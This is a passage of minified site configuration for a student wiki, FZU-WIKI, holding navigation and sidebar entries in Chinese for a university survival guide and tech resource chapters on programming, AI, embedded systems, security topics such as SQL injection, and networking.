确解读gpa.md\":\"HUVmhyNa\",\"福大生存指南_3.学生工作选择.md\":\"X4fa1zFU\",\"福大生存指南_4.q_a.md\":\"8zblVGy7\",\"福大生存指南_生存指南.md\":\"CHM0Ntjb\"}");window.__VP_SITE_DATA__=JSON.parse("{\"lang\":\"en-US\",\"dir\":\"ltr\",\"title\":\"FZU-WIKI\",\"description\":\"FZU生存手册\",\"base\":\"/\",\"head\":[],\"router\":{\"prefetchLinks\":true},\"appearance\":true,\"themeConfig\":{\"nav\":[{\"text\":\"首页\",\"link\":\"/\"},{\"text\":\"章节\",\"items\":[{\"text\":\"使用指南\",\"link\":\"/使用指南\"},{\"text\":\"福大生存指南\",\"items\":[{\"text\":\"1.竞赛指北\",\"link\":\"/福大生存指南/1.竞赛指北\"},{\"text\":\"2.正确解读GPA\",\"link\":\"/福大生存指南/2.正确解读GPA\"},{\"text\":\"3.学生工作选择\",\"link\":\"/福大生存指南/3.学生工作选择\"},{\"text\":\"4.Q&A\",\"link\":\"/福大生存指南/4.Q&A\"}]},{\"text\":\"技术资源汇总(杭电支持版)\",\"items\":[{\"text\":\"2.高效学习\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习\"},{\"text\":\"3.编程思维体系构建\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建\"},{\"text\":\"4.人工智能\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能\"},{\"text\":\"5.富有生命的嵌入式\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式\"},{\"text\":\"6.计算机安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全\"},{\"text\":\"7.网络应用开发\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门\"},{\"text\":\"8.基础学科\",\"link\":\"/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科\"},{\"text\":\"9.计算机网络\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络\"}]}]}],\"sidebar\":{\"/\":[{\"text\":\"使用指南\",\"link\":\"/使用指南\"},{\"text\":\"福大生存指南\",\"collapsed\":true,\"items\":[{\"text\":\"1.竞赛指北\",\"link\":\"/福大生存指南/1.竞赛指北\"},{\"text\":\"2.正确解读GPA\",\"link\":\"/福大生存指南/2.正确解读GPA\"},{\"text\":\"3.学生工作选择\",\"link\":\"/福大生存指南/3.学生工作选择\"},{\"text\":\"4.Q&A\",\"link\":\"/福大生存指南/4.Q&A\"}]},{\"text\":\"技术资源汇总(杭电支持版)\",\"collapsed\":true,\"items\":[{\"text\":\"2.高效学习\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习\"},{\"text\":\"3.编程思维体系构建\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建\"},{\"text\":\"4.人工智能\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能\"},{\"text\":\"5.富有生命的嵌入式\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式\"},{\"text\":\"6.计算机安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全\"},{\"text\":\"7.网络应用开发\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门\"},{\"text\":\"8.基础学科\",\"link\":\"/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科\"},{\"text\":\"9.计算机网络\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络\"}]},{\"text\":\"贡献者\",\"link\":\"/contributors\"},{\"text\":\"贡献指南\",\"link\":\"/CONTRIBUTING\"}],\"/技术资源汇总(杭电支持版)/\":[{\"text\":\"返回上一层\",\"link\":\"/使用指南\"},{\"text\":\"2.高效学习\",\"collapsed\":true,\"items\":[{\"text\":\"2.高效学习\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习\"},{\"text\":\"2.1高效的前提:摆脱高中思维\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提:摆脱高中思维\"},{\"text\":\"2.2优雅的使用工具\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具\"},{\"text\":\"2.3高效的信息检索\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索\"},{\"text\":\"2.4优雅的记笔记\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记\"},{\"text\":\"2.5以理工科的方式阅读英语\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语\"},{\"text\":\"2.6学会使用AI辅助学习\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习\"}]},{\"text\":\"3.编程思维体系构建\",\"collapsed\":true,\"items\":[{\"text\":\"3.编程思维体系构建\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建\"},{\"text\":\"3.0 编程入门之道\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道\"},{\"text\":\"3.1该使用哪个编辑器???\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器???\"},{\"text\":\"3.2算法杂谈\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈\"},{\"text\":\"3.3如何选择编程语言\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言\"},{\"text\":\"3.4C语言\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言\"},{\"text\":\"3.5git与github\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github\"},{\"text\":\"3.6Python(灵巧的胶水)\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python(灵巧的胶水)\"},{\"text\":\"3.X 聊聊设计模式和程序设计\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计\"},{\"text\":\"3.Y 附加模块:Linux\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块:Linux\"}]},{\"text\":\"4.人工智能\",\"collapsed\":true,\"items\":[{\"text\":\"4.人工智能\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能\"},{\"text\":\"4.1前言\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.1前言\"},{\"text\":\"4.2机器学习(AI)快速入门(quick start)\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习(AI)快速入门(quick start)\"},{\"text\":\"4.3人工智能导论及机器学习入门\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门\"},{\"text\":\"4.4FAQ:常见问题\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ:常见问题\"},{\"text\":\"4.5图网络略述(intro&GCN)\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述(intro&GCN)\"},{\"text\":\"4.6数据分析\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析\"},{\"text\":\"4.7如何做研究\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究\"},{\"text\":\"4.8科研论文写作\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作\"},{\"text\":\"4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents\"},{\"text\":\"4.10LLM Agent之结构化输出\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出\"},{\"text\":\"4.11本章节内容的局限性\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性\"}]},{\"text\":\"5.富有生命的嵌入式\",\"collapsed\":true,\"items\":[{\"text\":\"5.富有生命的嵌入式\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式\"},{\"text\":\"5.1嵌入式是什么?可以吃吗?\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?\"},{\"text\":\"5.2New meaning of C\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C\"},{\"text\":\"5.3还玩裸机?上操作系统!\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!\"}]},{\"text\":\"6.计算机安全\",\"collapsed\":true,\"items\":[{\"text\":\"6.计算机安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全\"},{\"text\":\"6.1Web安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全\"},{\"text\":\"6.2二进制安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全\"},{\"text\":\"6.3密码学\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.3密码学\"},{\"text\":\"6.4安全杂项\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项\"},{\"text\":\"6.5学习资料推荐\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐\"}]},{\"text\":\"7.网络应用开发入门\",\"collapsed\":true,\"items\":[{\"text\":\"7.网络应用开发入门\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.网络应用开发入门\"},{\"text\":\"7.1WEB开发入门\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.1WEB开发入门\"},{\"text\":\"7.2前端部分\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.2.1基础(三件套)\"},{\"text\":\"7.3后端部分\",\"link\":\"/技术资源汇总(杭电支持版)/7.网络应用开发/7.3.1基础部分\"}]},{\"text\":\"8.基础学科\",\"collapsed\":true,\"items\":[{\"text\":\"8.基础学科\",\"link\":\"/技术资源汇总(杭电支持版)/8.基础学科/8.基础学科\"},{\"text\":\"8.1经济学科普Part1\",\"link\":\"/技术资源汇总(杭电支持版)/8.基础学科/8.1经济学科普Part1\"}]},{\"text\":\"9.计算机网络\",\"collapsed\":true,\"items\":[{\"text\":\"9.计算机网络\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.计算机网络\"},{\"text\":\"9.1 计网速通\",\"link\":\"/技术资源汇总(杭电支持版)/9.计算机网络/9.1计网速通\"}]}],\"/技术资源汇总(杭电支持版)/2.高效学习/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"2.高效学习\",\"collapsed\":false,\"items\":[{\"text\":\"2.高效学习\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.高效学习\"},{\"text\":\"2.1高效的前提:摆脱高中思维\",\"collapsed\":true,\"items\":[{\"text\":\"2.1高效的前提:摆脱高中思维\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.1高效的前提:摆脱高中思维\"},{\"text\":\"2.1.1悲壮的学习方式\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.1.1悲壮的学习方式\"},{\"text\":\"2.1.2浮躁的心理状态\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.1.2浮躁的心理状态\"},{\"text\":\"2.1.3错误的提问姿态\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.1.3错误的提问姿态\"},{\"text\":\"2.1.4书籍的盲目崇拜\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.1.4书籍的盲目崇拜\"},{\"text\":\"2.1.5错误的学习配比\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.1.5错误的学习配比\"}]},{\"text\":\"2.2优雅的使用工具\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.2优雅的使用工具\"},{\"text\":\"2.3高效的信息检索\",\"collapsed\":true,\"items\":[{\"text\":\"2.3高效的信息检索\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.3高效的信息检索\"},{\"text\":\"2.3.1阅读文档(B百度爬)\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.3.1阅读文档(B百度爬)\"},{\"text\":\"2.3.2检索论文核心内容\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.3.2检索论文核心内容\"},{\"text\":\"2.3.3优秀的开源社区\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.3.3优秀的开源社区\"},{\"text\":\"补充:为什么不要用百度\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/补充:为什么不要用百度\"}]},{\"text\":\"2.4优雅的记笔记\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.4优雅的记笔记\"},{\"text\":\"2.5以理工科的方式阅读英语\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.5以理工科的方式阅读英语\"},{\"text\":\"2.6学会使用AI辅助学习\",\"link\":\"/技术资源汇总(杭电支持版)/2.高效学习/2.6学会使用AI辅助学习\"}]}],\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"3.编程思维体系构建\",\"collapsed\":false,\"items\":[{\"text\":\"3.编程思维体系构建\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建\"},{\"text\":\"3.0 编程入门之道\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.0 编程入门之道\"},{\"text\":\"3.1该使用哪个编辑器???\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.1该使用哪个编辑器???\"},{\"text\":\"3.2算法杂谈\",\"collapsed\":true,\"items\":[{\"text\":\"3.2算法杂谈\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2算法杂谈\"},{\"text\":\"3.2.1手把手教你学算法——如何使用OJ(Online Judge)\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.1手把手教你学算法——如何使用OJ(Online Judge)\"},{\"text\":\"3.2.2ACM 竞赛从入门到入坟\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.2.2ACM 竞赛从入门到入坟\"}]},{\"text\":\"3.3如何选择编程语言\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.3如何选择编程语言\"},{\"text\":\"3.4C语言\",\"collapsed\":true,\"items\":[{\"text\":\"3.4C语言\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4C语言\"},{\"text\":\"3.4.1FAQ:常见问题\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.1FAQ:常见问题\"},{\"text\":\"3.4.2用什么写 C 语言\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.2用什么写 C 语言\"},{\"text\":\"3.4.3解决编程问题的普适性过程\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.3解决编程问题的普适性过程\"},{\"text\":\"3.4.4C语言前置概念学习\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.4C语言前置概念学习\"},{\"text\":\"3.4.5阶段一:编程属性\",\"collapsed\":true,\"items\":[{\"text\":\"3.4.5阶段一:编程属性\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5阶段一:编程属性\"},{\"text\":\"3.4.5.1C语言自测标准——链表\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.5.1C语言自测标准——链表\"}]},{\"text\":\"3.4.6阶段二:文字冒险(cool)\",\"collapsed\":true,\"items\":[{\"text\":\"3.4.6阶段二:文字冒险(cool)\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6阶段二:文字冒险(cool)\"},{\"text\":\"3.4.6.1.开始冒险\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.1.开始冒险\"},{\"text\":\"3.4.6.2.探索未知\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.2.探索未知\"},{\"text\":\"3.4.6.3.指明地点\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.3.指明地点\"},{\"text\":\"3.4.6.4.创建对象\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.4.创建对象\"},{\"text\":\"3.4.6.5.捡起物品\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.5.捡起物品\"},{\"text\":\"3.4.6.6.绘制地图\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.6.绘制地图\"},{\"text\":\"3.4.6.7.增大距离\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.7.增大距离\"},{\"text\":\"3.4.6.8.移动方向\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.8.移动方向\"},{\"text\":\"3.4.6.9.练习:生成代码\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.9.练习:生成代码\"},{\"text\":\"3.4.6.10.增添属性\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.10.增添属性\"},{\"text\":\"3.4.6.11.设置条件\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.11.设置条件\"},{\"text\":\"3.4.6.12.开启关闭\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.12.开启关闭\"},{\"text\":\"3.4.6.13.编写解析器\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.13.编写解析器\"},{\"text\":\"3.4.6.14.丰富命令\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.14.丰富命令\"},{\"text\":\"3.4.6.15.赋予明暗\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.15.赋予明暗\"},{\"text\":\"3.4.6.16.结语:你终将自由\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.6.16.结语:你终将自由\"}]},{\"text\":\"3.4.7C基础知识杂谈\",\"collapsed\":true,\"items\":[{\"text\":\"3.4.7C基础知识杂谈\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7C基础知识杂谈\"},{\"text\":\"3.4.7.1GDB初探索(编程可阅览)\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1GDB初探索(编程可阅览)\"},{\"text\":\"3.4.7.1.1调试理论\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.1.1调试理论\"},{\"text\":\"3.4.7.2C的历史问题:undefined behavior\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.2C的历史问题:undefined behavior\"},{\"text\":\"3.4.7.3C编译器干了什么\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.3C编译器干了什么\"},{\"text\":\"3.4.7.4Inline Assembly与链接加载\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.4.7.4Inline Assembly与链接加载\"}]}]},{\"text\":\"3.5git与github\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.5git与github\"},{\"text\":\"3.6Python(灵巧的胶水)\",\"collapsed\":true,\"items\":[{\"text\":\"3.6Python(灵巧的胶水)\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6Python(灵巧的胶水)\"},{\"text\":\"3.6.1从CS61A看编程语言学习\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.1从CS61A看编程语言学习\"},{\"text\":\"3.6.2环境配置\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.2环境配置\"},{\"text\":\"3.6.3安装python\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.3安装python\"},{\"text\":\"3.6.4Python for fun\",\"collapsed\":true,\"items\":[{\"text\":\"3.6.4Python for fun\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4Python for fun\"},{\"text\":\"3.6.4.0阶段零:Python解释器\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.0阶段零:Python解释器\"},{\"text\":\"3.6.4.1阶段一:熟悉语句\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.1阶段一:熟悉语句\"},{\"text\":\"3.6.4.2阶段二:递归操作\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.2阶段二:递归操作\"},{\"text\":\"3.6.4.3阶段三:数据抽象\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.3阶段三:数据抽象\"},{\"text\":\"3.6.4.4阶段四:高阶函数\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.4阶段四:高阶函数\"},{\"text\":\"3.6.4.5阶段五:迭代生成\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.5阶段五:迭代生成\"},{\"text\":\"3.6.4.6结语\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.6.4.6结语\"}]}]},{\"text\":\"3.X 聊聊设计模式和程序设计\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.X 聊聊设计模式和程序设计\"},{\"text\":\"3.Y 附加模块:Linux\",\"collapsed\":true,\"items\":[{\"text\":\"3.Y 附加模块:Linux\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y 附加模块:Linux\"},{\"text\":\"3.Y.1Linux概念普及\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.1Linux概念普及\"},{\"text\":\"3.Y.2双系统安装和发行版推荐\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.2双系统安装和发行版推荐\"},{\"text\":\"3.Y.3VMware的安装与安装Ubuntu22.04系统\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.3VMware的安装与安装Ubuntu22.04系统\"},{\"text\":\"3.Y.4WSL的安装\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.4WSL的安装\"},{\"text\":\"3.Y.5Linux初探索\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.5Linux初探索\"},{\"text\":\"3.Y.6Vim初探索\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索\"},{\"text\":\"3.Y.7linux小任务\",\"link\":\"/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务\"}]}]}],\"/技术资源汇总(杭电支持版)/4.人工智能/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"4.人工智能\",\"collapsed\":false,\"items\":[{\"text\":\"4.人工智能\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.人工智能\"},{\"text\":\"4.1前言\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.1前言\"},{\"text\":\"4.2机器学习(AI)快速入门(quick start)\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.2机器学习(AI)快速入门(quick start)\"},{\"text\":\"4.3人工智能导论及机器学习入门\",\"collapsed\":true,\"items\":[{\"text\":\"4.3人工智能导论及机器学习入门\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3人工智能导论及机器学习入门\"},{\"text\":\"4.3.1搜索\",\"collapsed\":true,\"items\":[{\"text\":\"4.3.1搜索\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.1搜索\"},{\"text\":\"4.3.1.1程序示例——maze迷宫解搜索\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.1程序示例——maze迷宫解搜索\"},{\"text\":\"4.3.1.2项目:Tic-Tac-Toe井字棋\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.1.2项目:Tic-Tac-Toe井字棋\"}]},{\"text\":\"4.3.2知识推理\",\"collapsed\":true,\"items\":[{\"text\":\"4.3.2知识推理\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.2知识推理\"},{\"text\":\"4.3.2.1程序示例——命题逻辑与模型检测\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.1程序示例——命题逻辑与模型检测\"},{\"text\":\"4.3.2.2项目:扫雷,骑士与流氓问题\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.2.2项目:扫雷,骑士与流氓问题\"}]},{\"text\":\"4.3.3不确定性问题\",\"collapsed\":true,\"items\":[{\"text\":\"4.3.3不确定性问题\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.3不确定性问题\"},{\"text\":\"4.3.3.1程序示例\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.1程序示例\"},{\"text\":\"4.3.3.2项目:遗传\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.3.2项目:遗传\"}]},{\"text\":\"4.3.4最优化\",\"collapsed\":true,\"items\":[{\"text\":\"4.3.4最优化\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.4最优化\"},{\"text\":\"4.3.4.1程序示例\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.1程序示例\"},{\"text\":\"4.3.4.2项目:填词游戏\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.3.4.2项目:填词游戏\"}]}]},{\"text\":\"4.4FAQ:常见问题\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.4FAQ:常见问题\"},{\"text\":\"4.5图网络略述(intro&GCN)\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.5图网络略述(intro&GCN)\"},{\"text\":\"4.6数据分析\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.6数据分析\"},{\"text\":\"4.7如何做研究\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.7如何做研究\"},{\"text\":\"4.8科研论文写作\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.8科研论文写作\"},{\"text\":\"4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.9从 AI 到 智能系统 —— 从 LLMs 到 Agents\"},{\"text\":\"4.10LLM Agent之结构化输出\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.10LLMAgent之结构化输出\"},{\"text\":\"4.11本章节内容的局限性\",\"link\":\"/技术资源汇总(杭电支持版)/4.人工智能/4.11本章节内容的局限性\"}]}],\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"5.富有生命的嵌入式\",\"collapsed\":false,\"items\":[{\"text\":\"5.富有生命的嵌入式\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.富有生命的嵌入式\"},{\"text\":\"5.1嵌入式是什么?可以吃吗?\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.1嵌入式是什么?可以吃吗?\"},{\"text\":\"5.2New meaning of C\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.2New meaning of C\"},{\"text\":\"5.3还玩裸机?上操作系统!\",\"link\":\"/技术资源汇总(杭电支持版)/5.富有生命的嵌入式/5.3还玩裸机?上操作系统!\"}]}],\"/技术资源汇总(杭电支持版)/6.计算机安全/\":[{\"text\":\"返回上一层\",\"link\":\"/技术资源汇总(杭电支持版)/内容索引\"},{\"text\":\"6.计算机安全\",\"collapsed\":false,\"items\":[{\"text\":\"6.计算机安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.计算机安全\"},{\"text\":\"6.1Web安全\",\"collapsed\":true,\"items\":[{\"text\":\"6.1Web安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.1Web安全\"},{\"text\":\"6.1.1SQL 注入\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.1.1SQL 注入\"}]},{\"text\":\"6.2二进制安全\",\"collapsed\":true,\"items\":[{\"text\":\"6.2二进制安全\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.2二进制安全\"},{\"text\":\"6.2.1基础工具的使用\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.2.1基础工具的使用\"},{\"text\":\"6.2.2软件破解、软件加固\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.2.2软件破解、软件加固\"},{\"text\":\"6.2.3漏洞挖掘、漏洞利用\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.2.3漏洞挖掘、漏洞利用\"}]},{\"text\":\"6.3密码学\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.3密码学\"},{\"text\":\"6.4安全杂项\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.4安全杂项\"},{\"text\":\"6.5学习资料推荐\",\"link\":\"/技术资源汇总(杭电支持版)/6.计算机安全/6.5学习资料推荐\"}]}]